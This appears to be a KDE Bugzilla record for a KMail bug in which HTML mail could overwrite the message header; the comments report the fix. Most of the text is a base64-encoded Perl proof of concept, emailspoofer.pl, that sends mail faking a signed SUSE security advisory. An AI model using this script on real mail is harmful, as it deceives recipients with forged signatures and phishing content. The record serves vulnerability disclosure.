    <commentid>731278</commentid>
    <comment_count>14</comment_count>
    <who name="Thomas McGuire">mcguire</who>
    <bug_when>2009-03-16 14:45:58 +0000</bug_when>
    <thetext>*** Bug 48568 has been marked as a duplicate of this bug. ***</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>731349</commentid>
    <comment_count>15</comment_count>
    <who name="Thomas McGuire">mcguire</who>
    <bug_when>2009-03-16 17:25:56 +0000</bug_when>
    <thetext>SVN commit 940115 by tmcguire:

Make sure HTMl messages can not overwrite the header.

BUG: 96557
CCBUG: 96020


 M  +9 -0      objecttreeparser.cpp  


WebSVN link: http://websvn.kde.org/?view=rev&amp;revision=940115</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>732050</commentid>
    <comment_count>16</comment_count>
    <who name="Thomas McGuire">mcguire</who>
    <bug_when>2009-03-18 10:26:58 +0000</bug_when>
    <thetext>SVN commit 940769 by tmcguire:

Backport r940115 by tmcguire from trunk to the 4.2 branch:

Make sure HTMl messages can not overwrite the header.

CCBUG: 96557
CCBUG: 96020



 M  +9 -0      objecttreeparser.cpp  


WebSVN link: http://websvn.kde.org/?view=rev&amp;revision=940769</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>848306</commentid>
    <comment_count>17</comment_count>
    <who name="Torgny Nyblom">nyblom</who>
    <bug_when>2009-10-21 17:21:19 +0000</bug_when>
    <thetext>As reported this bug is no longer reproducible, should it be closed?</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>883589</commentid>
    <comment_count>18</comment_count>
    <who name="Björn Ruberg">bjoern</who>
    <bug_when>2009-12-20 16:46:40 +0000</bug_when>
    <thetext>No objections - just doing it.</thetext>
  </long_desc>
      
          <attachment
              isobsolete="0"
              ispatch="0"
              isprivate="0"
          >
            <attachid>9684</attachid>
            <date>2005-02-17 13:21:37 +0000</date>
            <delta_ts>2005-02-17 13:21:37 +0000</delta_ts>
            <desc>Exploit code</desc>
            <filename>emailspoofer.pl</filename>
            <type>application/octet-stream</type>
            <size>20976</size>
            <attacher name="Noam Rathaus">noamr</attacher>
            
              <data encoding="base64">IyEvdXNyL2Jpbi9wZXJsIC13CiMKIyBCeSBOb2FtIFJhdGhhdXMgLSBCZXlvbmQgU2VjdXJpdHkK
CnVzZSBJTzo6U29ja2V0Owp1c2Ugc3RyaWN0OwoKbXkgJEhvc3QgPSBzaGlmdDsKCm15ICRyZW1v
dGUgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcgKCBQcm90byA9PiAidGNwIiwgUGVlckFkZHIgPT4g
JEhvc3QsIFBlZXJQb3J0ID0+ICJzbXRwIik7Cgp1bmxlc3MgKCRyZW1vdGUpIHsgZGllICJjYW5u
b3QgY29ubmVjdCB0byBTTVRQIGRhZW1vbiBvbiAkSG9zdCIgfQoKcHJpbnQgImNvbm5lY3RlZFxu
IjsKCndhaXRmb3IoJHJlbW90ZSwgIjIyMCAiKTsKCnByaW50ICJIRUxPXG4iOwpwcmludCAkcmVt
b3RlICJIRUxPIHdoYXRldmVyLmNvbVxyXG4iOwoKd2FpdGZvcigkcmVtb3RlLCAiMjUwICIpOwoK
cHJpbnQgIk1BSUwgRlJPTVxuIjsKcHJpbnQgJHJlbW90ZSAiTUFJTCBGUk9NOiB0ZXN0XEB3aG9l
dmVyLmNvbVxyXG4iOwoKd2FpdGZvcigkcmVtb3RlLCAiMjUwICIpOwoKcHJpbnQgIlJDUFQgVE9c
biI7CnByaW50ICRyZW1vdGUgIlJDUFQgVE86IHRlc3R5XEB3aG9ldmVyLmNvbVxyXG4iOwoKd2Fp
dGZvcigkcmVtb3RlLCAiMjUwICIpOwoKcHJpbnQgIkRBVEFcbiI7CnByaW50ICRyZW1vdGUgIkRB
VEFcclxuIjsKCndhaXRmb3IoJHJlbW90ZSwgIjM1NCAiKTsKCnByaW50ICRyZW1vdGUgPDxfRU9G
XzsKRnJvbTogbmV3b25lXEB3aG9ldmVyLmNvbVxyClN1YmplY3Q6IFRlc3QgQ2FzZVxyClRvOiBv
bGRvbmVcQHdob2V2ZXIuY29tXHIKRGF0ZTogTW9uLCAyNyBEZWMgMjAwNCAwMTo0MzoyNCAtMDYw
MFxyCk1JTUUtdmVyc2lvbjogMS4wXHIKQ29udGVudC10eXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9
InV0ZjgiXHIKQ29udGVudC10cmFuc2Zlci1lbmNvZGluZzogOGJpdFxyClxyCjxIVE1MPlxyCjxC
T0RZPlxyCjxCUj5ccgo8U1BBTiBTVFlMRT0iZm9udC1mYW1pbHk6IGFyaWFsOyBwb3NpdGlvbjog
YWJzb2x1dGU7IGxlZnQ6IDBweDsgdG9wOiAwcHg7IGJhY2tncm91bmQ6IHdoaXRlOyB3aWR0aDog
OTklOyBtYXJnaW4tbGVmdDogMTBweDsgbWFyZ2luLXRvcDogMTBweDsiPlxyCjxUQUJMRSBTVFlM
RT0id2lkdGg6IDEwMCU7IGJhY2tncm91bmQ6IHdoaXRlOyBib3JkZXI6IDFweCBzb2xpZDsgbWFy
Z2luLWxlZnQ6IGF1dG87IG1hcmdpbi1yaWdodDogYXV0bzsiIENFTExTUEFDSU5HPSIwIiBDRUxM
UEFERElORz0iMiI+XHIKIDxUUj5ccgogIDxURCBDT0xTUEFOPSIyIiBTVFlMRT0iYmFja2dyb3Vu
ZDogI2ZmZGQ3NjsiPjxCPk1pY3Jvc29mdCBBbGVydDwvQj48L1REPlxyCiA8L1RSPlxyCiA8VFIg
U1RZTEU9ImJhY2tncm91bmQ6ICNlZWVlZTY7Ij5ccgogIDxURCBXSURUSD0iMSI+PEI+RnJvbTo8
L0I+PC9URD48VEQ+PEEgSFJFRj0ibWFpbHRvOnN1c2VcQHN1c2UuY29tIj5zdXNlXEBzdXNlLmNv
bTwvQT48L1REPlxyCiA8L1RSPlxyCiA8VFIgU1RZTEU9ImJhY2tncm91bmQ6ICNlZWVlZTY7Ij5c
cgogIDxURD48Qj5Ubzo8L0I+PC9URD48VEQ+PEEgSFJFRj0ibWFpbHRvOnRlc3RcQHdob2V2ZXIu
Y29tIj50ZXN0XEB3aG9ldmVyLmNvbTwvQT48L1REPlxyCiA8L1RSPlxyCiA8VFIgU1RZTEU9ImJh
Y2tncm91bmQ6ICNlZWVlZTY7Ij5ccgogIDxURD48Qj5EYXRlOjwvQj48L1REPjxURD4yMDA0LTEy
LTI3IDA5OjQzPC9URD5ccgogPC9UUj5ccgo8L1RBQkxFPlxyCjxCUj5ccgo8VEFCTEUgU1RZTEU9
IndpZHRoOiA5OSU7IG1hcmdpbi1sZWZ0OiAxMHB4OyBiYWNrZ3JvdW5kOiB3aGl0ZTsgYm9yZGVy
OiAxcHggc29saWQ7IGJvcmRlci1jb2xvcjogIzQwRkY0MDsgbWFyZ2luLWxlZnQ6IGF1dG87IG1h
cmdpbi1yaWdodDogYXV0bzsiIENFTExTUEFDSU5HPSIwIiBDRUxMUEFERElORz0iMiI+CiA8VFI+
XHIKICA8VEQgU1RZTEU9ImJhY2tncm91bmQ6ICM0MEZGNDA7Ij48Qj5NZXNzYWdlIHdhcyBzaWdu
ZWQgYnkgPEEgSFJFRj0ibWFpbHRvOnNlY3VyaXR5XEBzdXNlLmRlIj5TdVNFIFNlY3VyaXR5IFRl
YW0gJmx0O3NlY3VyaXR5XEBzdXNlLmRlJmd0OzwvQT4gKEtleSBJRDogMHgzRDI1RDNEOSkuPEJS
PgogIFRoZSBzaWduYXR1cmUgaXMgdmFsaWQgYW5kIHRoZSBrZXkgaXMgZnVsbHkgdHJ1c3RlZC48
L0I+PC9URD5ccgogPC9UUj5ccgogPFRSPgogIDxURCBTVFlMRT0iYmFja2dyb3VuZDogI2U4ZmZl
ODsiPgo8UFJFPl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwoKwqAgwqAgwqAgwqAgwqAgwqAgwqAgwqAg
wqAgwqAgwqAgwqAgU1VTRSBTZWN1cml0eSBBbm5vdW5jZW1lbnQKCsKgIMKgIMKgIMKgIFBhY2th
Z2U6IMKgIMKgIMKgIMKgIMKgIMKgIMKgIMKga2VybmVsCsKgIMKgIMKgIMKgIEFubm91bmNlbWVu
dC1JRDogwqAgwqAgwqAgwqBTVVNFLVNBOjIwMDQ6MDQ2CsKgIMKgIMKgIMKgIERhdGU6IMKgIMKg
IMKgIMKgIMKgIMKgIMKgIMKgIMKgIFdlZG5lc2RheSwgRGVjIDIybmQgMjAwNCAxNjowMCBNRVNU
CsKgIMKgIMKgIMKgIEFmZmVjdGVkIHByb2R1Y3RzOiDCoCDCoCDCoDkuMCAvIEFNRDY0CsKgIMKg
IMKgIMKgIMKgIMKgIMKgIMKgIMKgIMKgIMKgIMKgIMKgIMKgIMKgIMKgIFNVU0UgTGludXggRW50
ZXJwcmlzZSBTZXJ2ZXIgOCAvIEFNRDY0CsKgIMKgIMKgIMKgIFZ1bG5lcmFiaWxpdHkgVHlwZTog
wqAgwqAgbG9jYWwgcHJpdmlsZWdlIGVzY2FsYXRpb24KwqAgwqAgwqAgwqAgU2V2ZXJpdHkgKDEt
MTApOiDCoCDCoCDCoCDCoDgKwqAgwqAgwqAgwqAgU1VTRSBkZWZhdWx0IHBhY2thZ2U6IMKgIHll
cwrCoCDCoCDCoCDCoCBDcm9zcyBSZWZlcmVuY2VzOiDCoCDCoCDCoCBDQU4tMjAwNC0xMTQ0CgrC
oCDCoCBDb250ZW50IG9mIHRoaXMgYWR2aXNvcnk6CsKgIMKgIMKgIMKgIDEpIHNlY3VyaXR5IHZ1
bG5lcmFiaWxpdHkgcmVzb2x2ZWQ6CsKgIMKgIMKgIMKgIMKgIMKgIMKgLSBsb2NhbCByb290IGV4
cGxvaXQgaW4gMi40IEFNRDY0IGtlcm5lbArCoCDCoCDCoCDCoCDCoCDCoHByb2JsZW0gZGVzY3Jp
cHRpb24KwqAgwqAgwqAgwqAgMikgc29sdXRpb24vd29ya2Fyb3VuZArCoCDCoCDCoCDCoCAzKSBz
cGVjaWFsIGluc3RydWN0aW9ucyBhbmQgbm90ZXMKwqAgwqAgwqAgwqAgNCkgcGFja2FnZSBsb2Nh
dGlvbiBhbmQgY2hlY2tzdW1zCsKgIMKgIMKgIMKgIDUpIHBlbmRpbmcgdnVsbmVyYWJpbGl0aWVz
LCBzb2x1dGlvbnMsIHdvcmthcm91bmRzOgrCoCDCoCDCoCDCoCDCoCDCoCAtIHNlZSBTVVNFIFNl
Y3VyaXR5IFN1bW1hcnkKwqAgwqAgwqAgwqAgNikgc3RhbmRhcmQgYXBwZW5kaXggKGZ1cnRoZXIg
aW5mb3JtYXRpb24pCgpfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18KCjEpIHByb2JsZW0gZGVzY3JpcHRp
b24sIGJyaWVmIGRpc2N1c3Npb24KCsKgIMKgIER1ZSB0byBtaXNzaW5nIGFyZ3VtZW50IGNoZWNr
aW5nIGluIHRoZSAzMiBiaXQgY29tcGF0aWJpbGl0eQrCoCDCoCBzeXN0ZW0gY2FsbCBoYW5kbGVy
IGluIHRoZSAyLjQgTGludXggS2VybmVsIG9uIHRoZSBBTUQ2NCBwbGF0Zm9ybQrCoCDCoCBhIGxv
Y2FsIGF0dGFja2VyIGNhbiBnYWluIHJvb3QgYWNjZXNzIHVzaW5nIGEgc2ltcGxlIHByb2dyYW0u
CgrCoCDCoCBUaGlzIGlzc3VlIHdhcyBmb3VuZCBhbmQgZml4ZWQgYnkgUGV0ciBWYW5kcm92ZWMg
YW5kIGhhcyBiZWVuCsKgIMKgIGFzc2lnbmVkIHRoZSBNaXRyZSBDVkUgSUQgQ0FOLTIwMDQtMTE0
NC4KCsKgIMKgIFRoaXMgaXMgYSAyLjQgS2VybmVsIGFuZCBBTUQ2NCBzcGVjaWZpYyBwcm9ibGVt
LCBvdGhlcgrCoCDCoCBhcmNoaXRlY3R1cmVzIGFuZCB0aGUgMi42IEtlcm5lbCBhcmUgbm90IGFm
ZmVjdGVkLgoKCjIpIHNvbHV0aW9uL3dvcmthcm91bmQKCsKgIMKgIFRoZXJlIGlzIG5vIHdvcmth
cm91bmQsIHBsZWFzZSBpbnN0YWxsIHRoZSBzdXBwbGllZCBrZXJuZWxzLgoKMykgc3BlY2lhbCBp
bnN0cnVjdGlvbnMgYW5kIG5vdGVzCgrCoCDCoCBTUEVDSUFMIElOU1RBTEwgSU5TVFJVQ1RJT05T
OgrCoCDCoCA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KwqAgwqAgVGhlIGZvbGxvd2lu
ZyBwYXJhZ3JhcGhzIHdpbGwgZ3VpZGUgeW91IHRocm91Z2ggdGhlIGluc3RhbGxhdGlvbgrCoCDC
oCBwcm9jZXNzIGluIGEgc3RlcC1ieS1zdGVwIGZhc2hpb24uIFRoZSBjaGFyYWN0ZXIgc2VxdWVu
Y2UgIioqKioiCsKgIMKgIG1hcmtzIHRoZSBiZWdpbm5pbmcgb2YgYSBuZXcgcGFyYWdyYXBoLiBJ
biBzb21lIGNhc2VzLCB0aGUgc3RlcHMKwqAgwqAgb3V0bGluZWQgaW4gYSBwYXJ0aWN1bGFyIHBh
cmFncmFwaCBtYXkgb3IgbWF5IG5vdCBiZSBhcHBsaWNhYmxlCsKgIMKgIHRvIHlvdXIgc2l0dWF0
aW9uLgrCoCDCoCBUaGVyZWZvcmUsIHBsZWFzZSBtYWtlIHN1cmUgdG8gcmVhZCB0aHJvdWdoIGFs
bCBvZiB0aGUgc3RlcHMgYmVsb3cKwqAgwqAgYmVmb3JlIGF0dGVtcHRpbmcgYW55IG9mIHRoZXNl
IHByb2NlZHVyZXMuCsKgIMKgIEFsbCBvZiB0aGUgY29tbWFuZHMgdGhhdCBuZWVkIHRvIGJlIGV4
ZWN1dGVkIGFyZSByZXF1aXJlZCB0byBiZQrCoCDCoCBydW4gYXMgdGhlIHN1cGVydXNlciAocm9v
dCkuIEVhY2ggc3RlcCByZWxpZXMgb24gdGhlIHN0ZXBzIGJlZm9yZQrCoCDCoCBpdCB0byBjb21w
bGV0ZSBzdWNjZXNzZnVsbHkuCgoKwqAgKioqKiBTdGVwIDE6IERldGVybWluZSB0aGUgbmVlZGVk
IGtlcm5lbCB0eXBlCgrCoCDCoCBQbGVhc2UgdXNlIHRoZSBmb2xsb3dpbmcgY29tbWFuZCB0byBm
aW5kIHRoZSBrZXJuZWwgdHlwZSB0aGF0IGlzCsKgIMKgIGluc3RhbGxlZCBvbiB5b3VyIHN5c3Rl
bToKCsKgIMKgIMKgIHJwbSAtcWYgL2Jvb3Qvdm1saW51egoKwqAgwqAgRm9sbG93aW5nIGFyZSB0
aGUgcG9zc2libGUga2VybmVsIHR5cGVzIChkaXNyZWdhcmQgdGhlIHZlcnNpb24gYW5kCsKgIMKg
IGJ1aWxkIG51bWJlciBmb2xsb3dpbmcgdGhlIG5hbWUgc2VwYXJhdGVkIGJ5IHRoZSAiLSIgY2hh
cmFjdGVyKQoKwqAgwqAgwqAga19kZWZsdCDCoCAjIGRlZmF1bHQga2VybmVsLCBnb29kIGZvciBt
b3N0IHN5c3RlbXMuCsKgIMKgIMKgIGtfaTM4NiDCoCDCoCMga2VybmVsIGZvciBvbGRlciBwcm9j
ZXNzb3JzIGFuZCBjaGlwIHNldHMKwqAgwqAgwqAga19hdGhsb24gwqAjIGtlcm5lbCBtYWRlIHNw
ZWNpZmljYWxseSBmb3IgQU1EIEF0aGxvbih0bSkgZmFtaWx5IHByb2Nlc3NvcnMKwqAgwqAgwqAg
a19wc21wIMKgIMKgIyBrZXJuZWwgZm9yIFBlbnRpdW0tSSBkdWFsIHByb2Nlc3NvciBzeXN0ZW1z
CsKgIMKgIMKgIGtfc21wIMKgIMKgICMga2VybmVsIGZvciBTTVAgc3lzdGVtcyAoUGVudGl1bS1J
SSBhbmQgYWJvdmUpCsKgIMKgIMKgIGtfc21wNEcgwqAgIyBrZXJuZWwgZm9yIFNNUCBzeXN0ZW1z
IHdoaWNoIHN1cHBvcnRzIGEgbWF4aW11bSBvZiA0RyBvZiBSQU0KwqAgwqAgwqAga2VybmVsLTY0
ay1wYWdlc2l6ZQrCoCDCoCDCoCBrZXJuZWwtYmlnc21wCsKgIMKgIMKgIGtlcm5lbC1kZWZhdWx0
CsKgIMKgIMKgIGtlcm5lbC1zbXAKCsKgICoqKiogU3RlcCAyOiBEb3dubG9hZCB0aGUgcGFja2Fn
ZSBmb3IgeW91ciBzeXN0ZW0KCsKgIMKgIFBsZWFzZSBkb3dubG9hZCB0aGUga2VybmVsIFJQTSBw
YWNrYWdlIGZvciB5b3VyIGRpc3RyaWJ1dGlvbiB3aXRoIHRoZQrCoCDCoCBuYW1lIGFzIGluZGlj
YXRlZCBieSBTdGVwIDEuIFRoZSBsaXN0IG9mIGFsbCBrZXJuZWwgcnBtIHBhY2thZ2VzIGlzCsKg
IMKgIGFwcGVuZGVkIGJlbG93LiBOb3RlOiBUaGUga2VybmVsLXNvdXJjZSBwYWNrYWdlIGRvZXMg
bm90CsKgIMKgIGNvbnRhaW4gYSBiaW5hcnkga2VybmVsIGluIGJvb3RhYmxlIGZvcm0uIEluc3Rl
YWQsIGl0IGNvbnRhaW5zIHRoZQrCoCDCoCBzb3VyY2VzIHRoYXQgdGhlIGJpbmFyeSBrZXJuZWwg
cnBtIHBhY2thZ2VzIGFyZSBjcmVhdGVkIGZyb20uIEl0IGNhbiBiZQrCoCDCoCB1c2VkIGJ5IGFk
bWluaXN0cmF0b3JzIHdobyBoYXZlIGRlY2lkZWQgdG8gYnVpbGQgdGhlaXIgb3duIGtlcm5lbC4K
wqAgwqAgU2luY2UgdGhlIGtlcm5lbC1zb3VyY2UucnBtIGlzIGFuIGluc3RhbGxhYmxlIChjb21w
aWxlZCkgcGFja2FnZSB0aGF0CsKgIMKgIGNvbnRhaW5zIHNvdXJjZXMgZm9yIHRoZSBsaW51eCBr
ZXJuZWwsIGl0IGlzIG5vdCB0aGUgc291cmNlIFJQTSBmb3IKwqAgwqAgdGhlIGtlcm5lbCBSUE0g
YmluYXJ5IHBhY2thZ2VzLgoKwqAgwqAgVGhlIGtlcm5lbCBSUE0gYmluYXJ5IHBhY2thZ2VzIGZv
ciB0aGUgZGlzdHJpYnV0aW9ucyBjYW4gYmUgZm91bmQgYXQgdGhlCsKgIMKgIGxvY2F0aW9ucyBi
ZWxvdyBmdHA6Ly9mdHAuc3VzZS5jb20vcHViL3N1c2UveDg2XzY0L3VwZGF0ZS85LjAvcnBtL3g4
Nl82NC4KCsKgIMKgIEFmdGVyIGRvd25sb2FkaW5nIHRoZSBrZXJuZWwgUlBNIHBhY2thZ2UgZm9y
IHlvdXIgc3lzdGVtLCB5b3Ugc2hvdWxkCsKgIMKgIHZlcmlmeSB0aGUgYXV0aGVudGljaXR5IG9m
IHRoZSBrZXJuZWwgcnBtIHBhY2thZ2UgdXNpbmcgdGhlIG1ldGhvZHMgYXMKwqAgwqAgbGlzdGVk
IGluIHNlY3Rpb24gMykgb2YgZWFjaCBTVVNFIFNlY3VyaXR5IEFubm91bmNlbWVudC4KCgrCoCAq
KioqIFN0ZXAgMzogSW5zdGFsbGluZyB5b3VyIGtlcm5lbCBycG0gcGFja2FnZQoKwqAgwqAgSW5z
dGFsbCB0aGUgcnBtIHBhY2thZ2UgdGhhdCB5b3UgaGF2ZSBkb3dubG9hZGVkIGluIFN0ZXBzIDMg
b3IgNCB3aXRoCsKgIMKgIHRoZSBjb21tYW5kCsKgIMKgIMKgIMKgIHJwbSAtVWh2IC0tbm9kZXBz
IC0tZm9yY2UgJmx0O0tfRklMRS5SUE0mZ3Q7CsKgIMKgIHdoZXJlICZsdDtLX0ZJTEUuUlBNJmd0
OyBpcyB0aGUgbmFtZSBvZiB0aGUgcnBtIHBhY2thZ2UgdGhhdCB5b3UgZG93bmxvYWRlZC4KCsKg
IMKgIFdhcm5pbmc6IEFmdGVyIHBlcmZvcm1pbmcgdGhpcyBzdGVwLCB5b3VyIHN5c3RlbSB3aWxs
IGxpa2VseSBub3QgYmUKwqAgwqAgwqAgwqAgwqAgwqAgwqBhYmxlIHRvIGJvb3QgaWYgdGhlIGZv
bGxvd2luZyBzdGVwcyBoYXZlIG5vdCBiZWVuIGZ1bGx5CsKgIMKgIMKgIMKgIMKgIMKgIMKgZm9s
bG93ZWQuCgoKwqAgwqAgSWYgeW91IHJ1biBTVVNFIExJTlVYIDguMSBhbmQgaGF2ZW4ndCBhcHBs
aWVkIHRoZSBrZXJuZWwgdXBkYXRlCsKgIMKgIChTVVNFLVNBOjIwMDM6MDM0KSwgQU5EIHlvdSBh
cmUgdXNpbmcgdGhlIGZyZWVzd2FuIHBhY2thZ2UsIHlvdSBhbHNvCsKgIMKgIG5lZWQgdG8gdXBk
YXRlIHRoZSBmcmVlc3dhbiBycG0gYXMgYSBkZXBlbmRlbmN5IGFzIG9mZmVyZWQKwqAgwqAgYnkg
WU9VIChZYVNUIE9ubGluZSBVcGRhdGUpLiBUaGUgcGFja2FnZSBjYW4gYmUgZG93bmxvYWRlZCBm
cm9tCsKgIMKgIGZ0cDovL2Z0cC5zdXNlLmNvbS9wdWIvc3VzZS9pMzg2L3VwZGF0ZS84LjEvcnBt
L2k1ODYvCgrCoCAqKioqIFN0ZXAgNDogY29uZmlndXJpbmcgYW5kIGNyZWF0aW5nIHRoZSBpbml0
cmQKCsKgIMKgIFRoZSBpbml0cmQgaXMgYSByYW1kaXNrIHRoYXQgaXMgbG9hZGVkIGludG8gdGhl
IG1lbW9yeSBvZiB5b3VyCsKgIMKgIHN5c3RlbSB0b2dldGhlciB3aXRoIHRoZSBrZXJuZWwgYm9v
dCBpbWFnZSBieSB0aGUgYm9vdGxvYWRlci4gVGhlCsKgIMKgIGtlcm5lbCB1c2VzIHRoZSBjb250
ZW50IG9mIHRoaXMgcmFtZGlzayB0byBleGVjdXRlIGNvbW1hbmRzIHRoYXQgbXVzdArCoCDCoCBi
ZSBydW4gYmVmb3JlIHRoZSBrZXJuZWwgY2FuIG1vdW50IGl0cyBhY3R1YWwgcm9vdCBmaWxlc3lz
dGVtLiBJdCBpcwrCoCDCoCB1c3VhbGx5IHVzZWQgdG8gaW5pdGlhbGl6ZSBTQ1NJIGRyaXZlcnMg
b3IgTklDIGRyaXZlcnMgZm9yIGRpc2tsZXNzCsKgIMKgIG9wZXJhdGlvbi4KCsKgIMKgIFRoZSB2
YXJpYWJsZSBJTklUUkRfTU9EVUxFUyBpbiAvZXRjL3N5c2NvbmZpZy9rZXJuZWwgZGV0ZXJtaW5l
cwrCoCDCoCB3aGljaCBrZXJuZWwgbW9kdWxlcyB3aWxsIGJlIGxvYWRlZCBpbiB0aGUgaW5pdHJk
IGJlZm9yZSB0aGUga2VybmVsCsKgIMKgIGhhcyBtb3VudGVkIGl0cyBhY3R1YWwgcm9vdCBmaWxl
c3lzdGVtLiBUaGUgdmFyaWFibGUgc2hvdWxkIGNvbnRhaW4KwqAgwqAgeW91ciBTQ1NJIGFkYXB0
ZXIgKGlmIGFueSkgb3IgZmlsZXN5c3RlbSBkcml2ZXIgbW9kdWxlcy4KCsKgIMKgIFdpdGggdGhl
IGluc3RhbGxhdGlvbiBvZiB0aGUgbmV3IGtlcm5lbCwgdGhlIGluaXRyZCBoYXMgdG8gYmUKwqAg
wqAgcmUtcGFja2VkIHdpdGggdGhlIHVwZGF0ZSBrZXJuZWwgbW9kdWxlcy4gUGxlYXNlIHJ1biB0
aGUgY29tbWFuZAoKwqAgwqAgwqAgbWtfaW5pdHJkCgrCoCDCoCBhcyByb290IHRvIGNyZWF0ZSBh
IG5ldyBpbml0IHJhbWRpc2sgKGluaXRyZCkgZm9yIHlvdXIgc3lzdGVtLgrCoCDCoCBPbiBTdVNF
IExpbnV4IDguMSBhbmQgbGF0ZXIsIHRoaXMgaXMgZG9uZSBhdXRvbWF0aWNhbGx5IHdoZW4gdGhl
CsKgIMKgIFJQTSBpcyBpbnN0YWxsZWQuCgoKwqAgKioqKiBTdGVwIDU6IGJvb3Rsb2FkZXIKCsKg
IMKgIElmIHlvdSBydW4gYSBTVVNFIExJTlVYIDgueCwgU0xFUzgsIG9yIFNVU0UgTElOVVggOS54
IHN5c3RlbSwgdGhlcmUKwqAgwqAgYXJlIHR3byBvcHRpb25zOgrCoCDCoCBEZXBlbmRpbmcgb24g
eW91ciBzb2Z0d2FyZSBjb25maWd1cmF0aW9uLCB5b3UgaGF2ZSBlaXRoZXIgdGhlIGxpbG8KwqAg
wqAgYm9vdGxvYWRlciBvciB0aGUgZ3J1YiBib290bG9hZGVyIGluc3RhbGxlZCBhbmQgaW5pdGlh
bGl6ZWQgb24geW91cgrCoCDCoCBzeXN0ZW0uCsKgIMKgIFRoZSBncnViIGJvb3Rsb2FkZXIgZG9l
cyBub3QgcmVxdWlyZSBhbnkgZnVydGhlciBhY3Rpb25zIHRvIGJlCsKgIMKgIHBlcmZvcm1lZCBh
ZnRlciB0aGUgbmV3IGtlcm5lbCBpbWFnZXMgaGF2ZSBiZWVuIG1vdmVkIGluIHBsYWNlIGJ5IHRo
ZQrCoCDCoCBycG0gVXBkYXRlIGNvbW1hbmQuCsKgIMKgIElmIHlvdSBoYXZlIGEgbGlsbyBib290
bG9hZGVyIGluc3RhbGxlZCBhbmQgaW5pdGlhbGl6ZWQsIHRoZW4gdGhlIGxpbG8KwqAgwqAgcHJv
Z3JhbSBtdXN0IGJlIHJ1biBhcyByb290LiBVc2UgdGhlIGNvbW1hbmQKCsKgIMKgIMKgIGdyZXAg
TE9BREVSX1RZUEUgL2V0Yy9zeXNjb25maWcvYm9vdGxvYWRlcgoKwqAgwqAgdG8gZmluZCBvdXQg
d2hpY2ggYm9vdCBsb2FkZXIgaXMgY29uZmlndXJlZC4gSWYgaXQgaXMgbGlsbywgdGhlbiB5b3UK
wqAgwqAgbXVzdCBydW4gdGhlIGxpbG8gY29tbWFuZCBhcyByb290LiBJZiBncnViIGlzIGxpc3Rl
ZCwgdGhlbiB5b3VyIHN5c3RlbQrCoCDCoCBkb2VzIG5vdCByZXF1aXJlIGFueSBib290bG9hZGVy
IGluaXRpYWxpemF0aW9uLgoKwqAgwqAgV2FybmluZzogQW4gaW1wcm9wZXJseSBpbnN0YWxsZWQg
Ym9vdGxvYWRlciBtYXkgcmVuZGVyIHlvdXIgc3lzdGVtCsKgIMKgIMKgIMKgIMKgIMKgIMKgdW5i
b290YWJsZS4KCsKgICoqKiogU3RlcCA2OiByZWJvb3QKCsKgIMKgIElmIGFsbCBvZiB0aGUgc3Rl
cHMgYWJvdmUgaGF2ZSBiZWVuIHN1Y2Nlc3NmdWxseSBjb21wbGV0ZWQgb24geW91cgrCoCDCoCBz
eXN0ZW0sIHRoZW4gdGhlIG5ldyBrZXJuZWwgaW5jbHVkaW5nIHRoZSBrZXJuZWwgbW9kdWxlcyBh
bmQgdGhlCsKgIMKgIGluaXRyZCBzaG91bGQgYmUgcmVhZHkgdG8gYm9vdC4gVGhlIHN5c3RlbSBu
ZWVkcyB0byBiZSByZWJvb3RlZCBmb3IKwqAgwqAgdGhlIGNoYW5nZXMgdG8gYmVjb21lIGFjdGl2
ZS4gUGxlYXNlIG1ha2Ugc3VyZSB0aGF0IGFsbCBzdGVwcyBoYXZlCsKgIMKgIGNvbXBsZXRlZCwg
dGhlbiByZWJvb3QgdXNpbmcgdGhlIGNvbW1hbmQKwqAgwqAgwqAgwqAgc2h1dGRvd24gLXIgbm93
CsKgIMKgIG9yCsKgIMKgIMKgIMKgIGluaXQgNgoKwqAgwqAgWW91ciBzeXN0ZW0gc2hvdWxkIG5v
dyBzaHV0IGRvd24gYW5kIHJlYm9vdCB3aXRoIHRoZSBuZXcga2VybmVsLgoKCjQpIHBhY2thZ2Ug
bG9jYXRpb24gYW5kIGNoZWNrc3VtcwoKwqAgwqAgUGxlYXNlIGRvd25sb2FkIHRoZSB1cGRhdGUg
cGFja2FnZSBmb3IgeW91ciBkaXN0cmlidXRpb24gYW5kIHZlcmlmeSBpdHMKwqAgwqAgaW50ZWdy
aXR5IGJ5IHRoZSBtZXRob2RzIGxpc3RlZCBpbiBzZWN0aW9uIDMpIG9mIHRoaXMgYW5ub3VuY2Vt
ZW50LgrCoCDCoCBUaGVuLCBpbnN0YWxsIHRoZSBwYWNrYWdlIHVzaW5nIHRoZSBjb21tYW5kICJy
cG0gLUZodiBmaWxlLnJwbSIgdG8gYXBwbHkKwqAgwqAgdGhlIHVwZGF0ZS4KwqAgwqAgT3VyIG1h
aW50ZW5hbmNlIGN1c3RvbWVycyBhcmUgYmVpbmcgbm90aWZpZWQgaW5kaXZpZHVhbGx5LiBUaGUg
cGFja2FnZXMKwqAgwqAgYXJlIGJlaW5nIG9mZmVyZWQgdG8gaW5zdGFsbCBmcm9tIHRoZSBtYWlu
dGVuYW5jZSB3ZWIuCgrCoCDCoCB4ODYtNjQgUGxhdGZvcm06CgrCoCDCoCBTVVNFIExpbnV4IDku
MDoKwqAgwqAgZnRwOi8vZnRwLnN1c2UuY29tL3B1Yi9zdXNlL3g4Nl82NC91cGRhdGUvOS4wL3Jw
bS94ODZfNjQva19kZWZsdC0yLjQuMjEtMjY4Lng4Nl82NC5ycG0KwqAgwqAgwqAgNTg1YzdkZDQ3
ZjhlNmY5ZTYwYWU0ZWVkNWZiYjIxZmUKwqAgwqAgZnRwOi8vZnRwLnN1c2UuY29tL3B1Yi9zdXNl
L3g4Nl82NC91cGRhdGUvOS4wL3JwbS94ODZfNjQva19zbXAtMi40LjIxLTI2OC54ODZfNjQucnBt
